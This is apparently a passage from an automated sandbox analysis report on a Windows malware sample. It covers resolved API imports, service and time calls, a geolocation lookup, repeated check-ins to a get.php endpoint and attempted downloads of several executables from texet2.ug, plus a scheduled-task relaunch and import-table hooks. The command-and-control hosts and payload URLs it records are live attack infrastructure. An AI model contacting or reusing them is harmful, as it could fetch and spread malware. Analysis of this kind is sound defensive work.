Get Address c:\windows\syswow64\kernel32.dll function = CreateDirectoryW, address_out = 0x76c34259 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WaitForSingleObject, address_out = 0x76c31136 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetLogicalDrives, address_out = 0x76c35371 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = VirtualFree, address_out = 0x76c3186e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WriteFile, address_out = 0x76c31282 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetDriveTypeA, address_out = 0x76c4ef75 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = OpenProcess, address_out = 0x76c31986 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GlobalAlloc, address_out = 0x76c3588e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetSystemDirectoryW, address_out = 0x76c35063 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WideCharToMultiByte, address_out = 0x76c3170d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LoadLibraryW, address_out = 0x76c3492b True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = Sleep, address_out = 0x76c310ff True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CopyFileW, address_out = 0x76c5830d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FormatMessageW, address_out = 0x76c34620 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = lstrcpynW, address_out = 0x76c5d556 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateProcessA, address_out = 0x76c31072 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TerminateProcess, address_out = 0x76c4d802 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = ReadFile, address_out = 0x76c33ed3 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateFileW, address_out = 0x76c33f5c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = lstrcatA, address_out = 0x76c52b7a True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetEnvironmentVariableA, address_out = 0x76c333a0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = lstrcmpW, address_out = 0x76c35929 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = MultiByteToWideChar, address_out = 0x76c3192e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = lstrlenW, address_out = 0x76c31700 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlushFileBuffers, address_out = 0x76c3469b True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetShortPathNameA, address_out = 0x76c5594d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetFileSizeEx, address_out = 0x76c359e2 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetLastError, address_out = 0x76c311c0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetLastError, address_out = 0x76c311a9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetProcAddress, address_out = 0x76c31222 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = VirtualAlloc, address_out = 0x76c31856 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = MoveFileW, address_out = 0x76c49af0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FindClose, address_out = 0x76c34442 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = Process32FirstW, address_out = 0x76c58baf True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LocalAlloc, address_out = 0x76c3168c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateEventW, address_out = 0x76c3183e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetModuleFileNameA, address_out = 0x76c314b1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = Process32NextW, address_out = 0x76c5896c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = lstrcatW, address_out = 0x76c5828e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateMutexA, address_out = 0x76c34c6b True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FatalAppExitA, address_out = 0x76cb4691 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateToolhelp32Snapshot, address_out = 0x76c5735f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CloseHandle, address_out = 0x76c31410 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = DeleteFileW, address_out = 0x76c389b3 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LocalFree, address_out = 0x76c32d3c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = lstrcpyW, address_out = 0x76c53102 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = DeleteFileA, address_out = 0x76c35444 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = lstrcpyA, address_out = 0x76c52a9d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetPriorityClass, address_out = 0x76c4cf28 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetModuleHandleW, address_out = 0x76c334b0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetComputerNameW, address_out = 0x76c3dd0e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetExitCodeProcess, address_out = 0x76c4174d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetModuleFileNameW, address_out = 0x76c34950 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GlobalFree, address_out = 0x76c35558 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetVersion, address_out = 0x76c34467 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateDirectoryA, address_out = 0x76c5d526 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateThread, address_out = 0x76c334d5 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TlsSetValue, address_out = 0x76c314fb True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TlsGetValue, address_out = 0x76c311e0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TlsAlloc, address_out = 0x76c349ad True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = InitializeCriticalSectionAndSpinCount, address_out = 0x76c31916 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetUnhandledExceptionFilter, address_out = 0x76c387c9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = UnhandledExceptionFilter, address_out = 0x76c5772f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FreeEnvironmentStringsW, address_out = 0x76c351cb True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetEnvironmentStringsW, address_out = 0x76c351e3 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentProcessId, address_out = 0x76c311f8 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = QueryPerformanceCounter, address_out = 0x76c31725 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetStartupInfoW, address_out = 0x76c34d40 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = DeleteCriticalSection, address_out = 0x771645f5 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetTimeZoneInformation, address_out = 0x76c3465a True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = RaiseException, address_out = 0x76c358a6 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetStringTypeW, address_out = 0x76c31946 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = HeapSize, address_out = 0x77163002 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LoadLibraryExW, address_out = 0x76c3495d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = HeapAlloc, address_out = 0x7715e026 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetLocaleInfoW, address_out = 0x76c33c42 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsValidLocale, address_out = 0x76c4ce46 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetUserDefaultLCID, address_out = 0x76c33da5 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = EnumSystemLocalesW, address_out = 0x76cb425f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetDateFormatW, address_out = 0x76c534d7 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetTimeFormatW, address_out = 0x76c4f481 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CompareStringW, address_out = 0x76c33bca True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LCMapStringW, address_out = 0x76c317b9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetConsoleCP, address_out = 0x76cd7bff True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetConsoleMode, address_out = 0x76c31328 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = HeapReAlloc, address_out = 0x77171f6e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetStdHandle, address_out = 0x76cb454f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetEndOfFile, address_out = 0x76c4ce2e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetStdHandle, address_out = 0x76c351b3 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetFileType, address_out = 0x76c33531 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetModuleHandleExW, address_out = 0x76c34a6f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WriteConsoleW, address_out = 0x76c57aca True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = ReadConsoleW, address_out = 0x76cd739a True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = OutputDebugStringW, address_out = 0x76c5d1d4 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetConsoleCtrlHandler, address_out = 0x76c38a09 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = RtlUnwind, address_out = 0x76c5d1c3 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LeaveCriticalSection, address_out = 0x77152270 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = EnterCriticalSection, address_out = 0x771522b0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = AreFileApisANSI, address_out = 0x76cb40d1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = ExitProcess, address_out = 0x76c37a10 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetProcessHeap, address_out = 0x76c314e9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentThreadId, address_out = 0x76c31450 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentThread, address_out = 0x76c317ec True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCPInfo, address_out = 0x76c35189 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = HeapFree, address_out = 0x76c314c9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetEnvironmentVariableA, address_out = 0x76c3e331 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = EncodePointer, address_out = 0x77170fcb True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = DecodePointer, address_out = 0x77169d35 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetSystemTimeAsFileTime, address_out = 0x76c33509 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentProcess, address_out = 0x76c31809 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateSemaphoreW, address_out = 0x76c4ca5a True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetOEMCP, address_out = 0x76c5d1a1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetACP, address_out = 0x76c3179c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsValidCodePage, address_out = 0x76c34493 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsProcessorFeaturePresent, address_out = 0x76c35235 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FindNextFileW, address_out = 0x76c354ee True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsDebuggerPresent, address_out = 0x76c34a5d True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = LoadCursorW, address_out = 0x74f588f7 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = TranslateMessage, address_out = 0x74f57809 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = RegisterClassExW, address_out = 0x74f5b17d True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = ShowWindow, address_out = 0x74f60dfb True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = IsWindow, address_out = 0x74f57136 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = CreateWindowExW, address_out = 0x74f58a29 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = UpdateWindow, address_out = 0x74f63559 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = DefWindowProcW, address_out = 0x771625dd True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = PeekMessageW, address_out = 0x74f605ba True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = PostThreadMessageW, address_out = 0x74f58bff True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = MessageBoxW, address_out = 0x74fafd3f True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = DispatchMessageW, address_out = 0x74f5787b True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = PostQuitMessage, address_out = 0x74f59abb True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = DestroyWindow, address_out = 0x74f59a55 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = SendMessageW, address_out = 0x74f59679 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = GetMessageW, address_out = 0x74f578e2 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = CryptGetHashParam, address_out = 0x74d4df7e True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = CryptAcquireContextW, address_out = 0x74d4df14 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = OpenSCManagerW, address_out = 0x74d4ca64 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = OpenServiceW, address_out = 0x74d4ca4c True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = CryptReleaseContext, address_out = 0x74d4e124 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = GetUserNameW, address_out = 0x74d5157a True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = CryptHashData, address_out = 0x74d4df36 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = RegSetValueExW, address_out = 0x74d514d6 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = RegCloseKey, address_out = 0x74d5469d True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = CryptDestroyHash, address_out = 0x74d4df66 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = ControlService, address_out = 0x74d67144 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = RegOpenKeyExW, address_out = 0x74d5468d True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = CryptCreateHash, address_out = 0x74d4df4e True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = CryptEncrypt, address_out = 0x74d6779b True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = CryptImportKey, address_out = 0x74d4c532 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = QueryServiceStatus, address_out = 0x74d52a86 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = RegQueryValueExW, address_out = 0x74d546ad True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = CloseServiceHandle, address_out = 0x74d5369c True 1
Fn
Get Address c:\windows\syswow64\shell32.dll function = SHGetPathFromIDListW, address_out = 0x760617bf True 1
Fn
Get Address c:\windows\syswow64\shell32.dll function = SHGetSpecialFolderLocation, address_out = 0x7605e141 True 1
Fn
Get Address c:\windows\syswow64\shell32.dll function = CommandLineToArgvW, address_out = 0x75fe9ee8 True 1
Fn
Get Address c:\windows\syswow64\shell32.dll function = ShellExecuteA, address_out = 0x76217078 True 1
Fn
Get Address c:\windows\syswow64\shell32.dll function = ShellExecuteExW, address_out = 0x75ff1e46 True 1
Fn
Get Address c:\windows\syswow64\ole32.dll function = CoInitialize, address_out = 0x755fb636 True 1
Fn
Get Address c:\windows\syswow64\ole32.dll function = CoInitializeSecurity, address_out = 0x75607259 True 1
Fn
Get Address c:\windows\syswow64\ole32.dll function = CoUninitialize, address_out = 0x756286d3 True 1
Fn
Get Address c:\windows\syswow64\ole32.dll function = CoCreateInstance, address_out = 0x75629d0b True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = 202, address_out = 0x7522fd6b True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = 2, address_out = 0x75224642 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = 9, address_out = 0x75223eae True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = 8, address_out = 0x75223ed5 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = 6, address_out = 0x75223e59 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = 200, address_out = 0x75223f21 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = 12, address_out = 0x75225dee True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = 201, address_out = 0x75224af8 True 1
Fn
Get Address c:\windows\syswow64\iphlpapi.dll function = GetAdaptersInfo, address_out = 0x74aa9263 True 1
Fn
Get Address c:\windows\syswow64\ws2_32.dll function = 12, address_out = 0x75bcb131 True 1
Fn
Get Address c:\windows\syswow64\ws2_32.dll function = 11, address_out = 0x75bc311b True 1
Fn
Get Address c:\windows\syswow64\ws2_32.dll function = 52, address_out = 0x75bd7673 True 1
Fn
Get Address c:\windows\syswow64\dnsapi.dll function = DnsQuery_W, address_out = 0x749e572c True 1
Fn
Get Address c:\windows\syswow64\dnsapi.dll function = DnsFree, address_out = 0x749d436b True 1
Fn
Get Address c:\windows\syswow64\crypt32.dll function = CryptStringToBinaryA, address_out = 0x759e5d77 True 1
Fn
Get Address c:\windows\syswow64\msvcr100.dll function = atexit, address_out = 0x7492c544 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = EnumProcesses, address_out = 0x0 False 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = EnumProcessModules, address_out = 0x0 False 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetModuleBaseNameW, address_out = 0x0 False 1
Fn
Get Address c:\windows\syswow64\psapi.dll function = EnumProcesses, address_out = 0x75141544 True 1
Fn
Get Address c:\windows\syswow64\psapi.dll function = EnumProcessModules, address_out = 0x75141408 True 1
Fn
Get Address c:\windows\syswow64\psapi.dll function = GetModuleBaseNameW, address_out = 0x7514152c True 1
Fn
Get Address c:\windows\syswow64\shell32.dll function = SHGetFolderPathA, address_out = 0x760e7804 True 1
Fn
Service (2)
»
Operation Additional Information Success Count Logfile
Open database_name = SERVICES_ACTIVE_DATABASE False 1
Fn
Open Manager database_name = SERVICES_ACTIVE_DATABASE True 1
Fn
System (126)
»
Operation Additional Information Success Count Logfile
Sleep duration = 100 milliseconds (0.100 seconds) True 121
Fn
Get Time type = System Time, time = 2019-07-10 16:39:46 (UTC) True 1
Fn
Get Time type = Performance Ctr, time = 16237001514 True 1
Fn
Get Time type = System Time, time = 2019-07-10 16:39:48 (UTC) True 1
Fn
Get Time type = Performance Ctr, time = 16412404916 True 1
Fn
Get Time type = System Time, time = 2019-07-10 16:39:50 (UTC) True 1
Fn
Environment (2)
»
Operation Additional Information Success Count Logfile
Get Environment String - True 2
Fn
Data
Debug (541)
»
Operation Process Additional Information Success Count Logfile
Detach - - False 541
Fn
Network Behavior
TCP Sessions (1)
»
Information Value
Total Data Sent 0 bytes
Total Data Received 0 bytes
Contacted Host Count 0
Contacted Hosts -
TCP Session #1
»
Information Value
Remote Address -
Remote Port 80
Local Address 192.168.0.200
Local Port -
Data Sent 0 bytes
Data Received 0 bytes
Operation Additional Information Success Count Logfile
Open Session user_agent = Microsoft Internet Explorer, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = http, server_name = texet2.ug, server_port = 80 False 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP 1.1, target_resource = /tesptc/penelop/updatewin1.exe False 1
Fn
HTTP Sessions (10)
»
Information Value
Total Data Sent 944 bytes
Total Data Received 8.40 KB
Contacted Host Count 2
Contacted Hosts 5.253.62.21, 77.123.139.189
HTTP Session #1
»
Information Value
Server Name api.2ip.ua
Server Port 443
Username -
Password -
Data Sent 467 bytes
Data Received 7.19 KB
Operation Additional Information Success Count Logfile
Open Session user_agent = Microsoft Internet Explorer, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = https, server_name = api.2ip.ua, server_port = 443 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP 1.1, target_resource = /geo.json True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = https://api.2ip.ua/geo.json True 1
Fn
Read Response size = 10240, size_out = 465 True 1
Fn
Data
Close Session - True 1
Fn
HTTP Session #2
»
Information Value
Server Name texet2.ug
Server Port 80
Username -
Password -
Data Sent 0 bytes
Data Received 0 bytes
Operation Additional Information Success Count Logfile
Open Session user_agent = Microsoft Internet Explorer, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = http, server_name = texet2.ug, server_port = 80 False 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP 1.1, target_resource = /tesptc/penelop/updatewin1.exe False 1
Fn
HTTP Session #3
»
Information Value
Server Name texet1.ug
Server Port 80
Username -
Password -
Data Sent 159 bytes
Data Received 412 bytes
Operation Additional Information Success Count Logfile
Open Session user_agent = Microsoft Internet Explorer, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = http, server_name = texet1.ug, server_port = 80 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP 1.1, target_resource = /sdfsdfvbcfsddfsdfsdf44/gfdgdfbcvsfgdfg/get.php True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = http://texet1.ug/sdfsdfvbcfsddfsdfsdf44/gfdgdfbcvsfgdfg/get.php?pid=00BB796811DA8292CFD733E3846553F4&first=true True 1
Fn
Read Response size = 1024, size_out = 244 True 1
Fn
Data
Close Session - True 1
Fn
HTTP Session #4
»
Information Value
Server Name texet2.ug
Server Port 80
Username -
Password -
Data Sent 0 bytes
Data Received 0 bytes
Operation Additional Information Success Count Logfile
Open Session user_agent = Microsoft Internet Explorer, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = http, server_name = texet2.ug, server_port = 80 False 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP 1.1, target_resource = /tesptc/penelop/updatewin2.exe False 1
Fn
HTTP Session #5
»
Information Value
Server Name texet2.ug
Server Port 80
Username -
Password -
Data Sent 0 bytes
Data Received 0 bytes
Operation Additional Information Success Count Logfile
Open Session user_agent = Microsoft Internet Explorer, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = http, server_name = texet2.ug, server_port = 80 False 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP 1.1, target_resource = /tesptc/penelop/updatewin.exe False 1
Fn
HTTP Session #6
»
Information Value
Server Name texet1.ug
Server Port 80
Username -
Password -
Data Sent 159 bytes
Data Received 412 bytes
Operation Additional Information Success Count Logfile
Open Session user_agent = Microsoft Internet Explorer, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = http, server_name = texet1.ug, server_port = 80 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP 1.1, target_resource = /sdfsdfvbcfsddfsdfsdf44/gfdgdfbcvsfgdfg/get.php True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = http://texet1.ug/sdfsdfvbcfsddfsdfsdf44/gfdgdfbcvsfgdfg/get.php?pid=00BB796811DA8292CFD733E3846553F4&first=true True 1
Fn
Read Response size = 1024, size_out = 244 True 1
Fn
Data
HTTP Session #7
»
Information Value
Server Name texet2.ug
Server Port 80
Username -
Password -
Data Sent 0 bytes
Data Received 0 bytes
Operation Additional Information Success Count Logfile
Open Session user_agent = Microsoft Internet Explorer, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = http, server_name = texet2.ug, server_port = 80 False 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP 1.1, target_resource = /tesptc/penelop/3.exe False 1
Fn
HTTP Session #8
»
Information Value
Server Name texet2.ug
Server Port 80
Username -
Password -
Data Sent 0 bytes
Data Received 0 bytes
Operation Additional Information Success Count Logfile
Open Session user_agent = Microsoft Internet Explorer, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = http, server_name = texet2.ug, server_port = 80 False 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP 1.1, target_resource = /tesptc/penelop/4.exe False 1
Fn
HTTP Session #9
»
Information Value
Server Name texet1.ug
Server Port 80
Username -
Password -
Data Sent 159 bytes
Data Received 412 bytes
Operation Additional Information Success Count Logfile
Open Session user_agent = Microsoft Internet Explorer, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = http, server_name = texet1.ug, server_port = 80 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP 1.1, target_resource = /sdfsdfvbcfsddfsdfsdf44/gfdgdfbcvsfgdfg/get.php True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = http://texet1.ug/sdfsdfvbcfsddfsdfsdf44/gfdgdfbcvsfgdfg/get.php?pid=00BB796811DA8292CFD733E3846553F4&first=true True 1
Fn
Read Response size = 1024, size_out = 244 True 1
Fn
Data
HTTP Session #10
»
Information Value
Server Name texet2.ug
Server Port 80
Username -
Password -
Data Sent 0 bytes
Data Received 0 bytes
Operation Additional Information Success Count Logfile
Open Session user_agent = Microsoft Internet Explorer, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = http, server_name = texet2.ug, server_port = 80 False 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP 1.1, target_resource = /tesptc/penelop/5.exe False 1
Fn
Process #6: taskeng.exe
0 0
»
Information Value
ID #6
File Name c:\windows\system32\taskeng.exe
Command Line taskeng.exe {1B1F5425-C2EB-423B-ADE6-D8808284FC3C} S-1-5-21-3388679973-3930757225-3770151564-1000:XDUWTFONO\5p5NrGJn0jS HALPmcxz:Interactive:LUA[1]
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:00:55, Reason: Created Scheduled Job
Unmonitor End Time: 00:01:04, Reason: Self Terminated
Monitor Duration 00:00:08
Remark No high level activity detected in monitored regions
OS Process Information
»
Information Value
PID 0xb10
Parent PID 0x36c (Unknown)
Bitness 64-bit
Is Created or Modified Executable False
Integrity Level Medium
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x B14
0x B18
0x B1C
0x B20
0x B24
0x B28
0x B2C
Process #7: 8fbb.tmp.exe
2907 2
»
Information Value
ID #7
File Name c:\users\5p5nrgjn0js halpmcxz\appdata\local\f8b84163-99f8-4bc8-9c45-ce8ec9b0cdf7\8fbb.tmp.exe
Command Line "C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\f8b84163-99f8-4bc8-9c45-ce8ec9b0cdf7\8FBB.tmp.exe" --Task
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:00:56, Reason: Child Process
Unmonitor End Time: 00:01:04, Reason: Self Terminated
Monitor Duration 00:00:08
OS Process Information
»
Information Value
PID 0xb30
Parent PID 0xb10 (c:\windows\system32\taskeng.exe)
Bitness 32-bit
Is Created or Modified Executable True
Integrity Level Medium
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x B34
0x B38
0x B3C
0x B40
0x B44
0x B48
0x B4C
0x B50
0x B54
0x B58
Hook Information
»
Type Installer Target Size Information Actions
IAT private_0x0000000000d80000:+0x572e1 1. entry of 8fbb.tmp.exe 4 bytes advapi32.dll:GetFileSecurityW+0x0 now points to private_0x000000007fff0000:+0x4986ffff
...
IAT private_0x0000000000d80000:+0x572e1 3. entry of 8fbb.tmp.exe 4 bytes advapi32.dll:LockServiceDatabase+0x0 now points to private_0x000000007fff0000:+0x36100000
...
IAT private_0x0000000000d80000:+0x572e1 4. entry of 8fbb.tmp.exe 4 bytes advapi32.dll:RegDeleteKeyA+0x0 now points to private_0x000000007fff0000:+0x36101a7e
...
IAT private_0x0000000000d80000:+0x572e1 5. entry of 8fbb.tmp.exe 4 bytes advapi32.dll:RegOpenKeyW+0x0 now points to private_0x000000007fff0000:+0x782c1a42
...
IAT private_0x0000000000d80000:+0x572e1 6. entry of 8fbb.tmp.exe 4 bytes advapi32.dll:RegCreateKeyExW+0x0 now points to private_0x000000007fff0000:+0x49341674
...
IAT private_0x0000000000d80000:+0x572e1 7. entry of 8fbb.tmp.exe 4 bytes advapi32.dll:SetThreadToken+0x0 now points to private_0x000000007fff0000:+0x1f10ff85
...
